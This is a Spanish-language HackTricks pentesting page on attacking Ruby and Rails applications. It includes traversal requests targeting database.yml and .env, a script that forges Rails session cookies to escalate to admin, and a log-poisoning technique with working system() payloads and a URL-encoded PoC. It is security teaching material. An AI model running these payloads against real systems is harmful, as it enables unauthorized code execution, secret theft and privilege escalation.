Trucos de Ruby

Reading time: 9 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Subida de archivos a RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

Consejos:

  • Otras ubicaciones de boot/eager-load que se ejecutan al iniciar la app también son peligrosas si son escribibles (p. ej., config/initializers/ es la clásica). Si encuentras una subida de archivos arbitraria que termine en cualquier sitio bajo config/ y luego se evalúa/requirea, podrías obtener RCE en el arranque.
  • Busca builds de dev/staging que copien archivos controlados por el usuario dentro de la imagen del contenedor donde Rails los cargará al iniciar.

Active Storage image transformation → command execution (CVE-2025-24293)

Cuando una aplicación usa Active Storage con image_processing + mini_magick, y pasa parámetros no confiables a los métodos de transformación de imagen, las versiones de Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podrían permitir inyección de comandos porque algunos métodos de transformación fueron permitidos por defecto por error.

  • A vulnerable pattern looks like:
erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • Qué probar durante las pruebas

  • Identifica endpoints que acepten opciones de variant/processing, nombres de transformación o argumentos arbitrarios de ImageMagick.

  • Fuzzea params[:t] y params[:v] buscando errores sospechosos o efectos secundarios de ejecución. Si puedes influir en el nombre del método o pasar argumentos crudos que lleguen a MiniMagick, podrías lograr ejecución de código en el host que procesa las imágenes.

  • Si solo tienes acceso de lectura a variantes generadas, intenta exfiltración ciega mediante operaciones de ImageMagick manipuladas.

  • Mitigación/detecciones

  • Si ves Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + image_processing + mini_magick y transformaciones controladas por el usuario, considéralo explotable. Recomienda actualizar y aplicar listas blancas estrictas para métodos/params y una política de ImageMagick endurecida.

Rack::Static LFI / path traversal (CVE-2025-27610)

Si el stack objetivo usa middleware de Rack directamente o vía frameworks, versiones de rack anteriores a 2.2.13, 3.0.14 y 3.1.12 permiten Local File Inclusion vía Rack::Static cuando :root no está seteado/mal configurado. Traversal codificado en PATH_INFO puede exponer archivos bajo el working directory del proceso o un root inesperado.

  • Busca apps que monten Rack::Static en config.ru o en stacks de middleware. Prueba traversals codificados contra rutas estáticas, por ejemplo:
text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Ajusta el prefijo para que coincida con los urls: configurados. Si la app responde con el contenido del archivo, probablemente tengas LFI hacia cualquier cosa bajo el :root resuelto.

  • Mitigación: upgrade Rack; asegúrate de que :root solo apunte a un directorio de archivos públicos y esté explícitamente seteado.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails cifra y firma cookies usando claves derivadas de secret_key_base. Si ese valor se filtra (p. ej., en un repo, logs o credenciales mal configuradas), normalmente puedes descifrar, modificar y volver a cifrar cookies. Esto con frecuencia conduce a bypass de authz si la app almacena roles, user IDs o feature flags en cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Notas:

  • Las apps más antiguas pueden usar AES-256-CBC y salts encrypted cookie / signed encrypted cookie, o JSON/Marshal serializers. Ajusta salts, cipher y serializer en consecuencia.
  • Tras una compromisión/evaluación, rota secret_key_base para invalidar todas las cookies existentes.

Véase también (Ruby/Rails-specific vulns)

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

Cuando una app (a menudo un endpoint simple de Rack/Sinatra/Rails) cumple ambas:

  • registra una cadena controlada por el usuario literalmente, y
  • más tarde loads un archivo cuya ruta se deriva de esa misma cadena (después de Pathname#cleanpath),

A menudo puedes lograr ejecución remota de código envenenando el registro y luego forzando a la app a load el archivo de registro. Primitivas clave:

  • Ruby load evalúa el contenido del archivo objetivo como Ruby sin importar la extensión. Cualquier archivo de texto legible cuyo contenido se interprete como Ruby será ejecutado.
  • Pathname#cleanpath colapsa los segmentos . y .. sin tocar el sistema de archivos, permitiendo path smuggling: basura controlada por el atacante puede ser antepuesta para el registro mientras la ruta limpiada sigue resolviendo al archivo previsto para ejecutar (p. ej., ../logs/error.log).

Patrón vulnerable mínimo

ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Por qué el log puede contener Ruby válido

Logger escribe líneas de prefijo como:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

En Ruby, # inicia un comentario y 9/2/2025 es solo aritmética. Para inyectar código Ruby válido necesitas:

  • Comienza tu payload en una nueva línea para que no quede comentado por el # en la línea INFO; envía una newline inicial (\n o %0A).
  • Cierra el [ suelto introducido por la línea INFO. Un truco común es empezar con ] y, opcionalmente, contentar al parser con ][0]=1.
  • Luego coloca código Ruby arbitrario (p. ej., system(...)).

Ejemplo de lo que terminará en el log después de una solicitud con un parámetro construido:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Smuggling de una sola cadena que tanto registra código como resuelve a la ruta del log

Queremos una sola cadena controlada por el atacante que:

  • cuando se registra en bruto, contiene nuestra Ruby payload, y
  • cuando se pasa por Pathname.new(<input>).cleanpath, resuelve a ../logs/error.log de modo que el posterior load ejecute el log file recién envenenado.

Pathname#cleanpath ignora schemes y colapsa componentes de traversal, así que lo siguiente funciona:

ruby
require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • El # antes de :// hace que Ruby ignore la cola cuando se ejecuta el log, mientras que cleanpath todavía reduce el sufijo a ../logs/error.log.
  • El salto de línea inicial rompe la línea INFO; ] cierra el corchete colgante; ][0]=1 satisface el parser.

Explotación de extremo a extremo

  1. Envía lo siguiente como el nombre del script de backup (codifica la primera nueva línea como %0A si es necesario):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. La app registra tu cadena sin procesar en logs/error.log.
  2. La app calcula cleanpath que resuelve a ../logs/error.log y llama a load sobre él.
  3. Ruby ejecuta el código que inyectaste en el log.

Para exfiltrar un archivo en un entorno tipo CTF:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (el primer carácter es un salto de línea):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks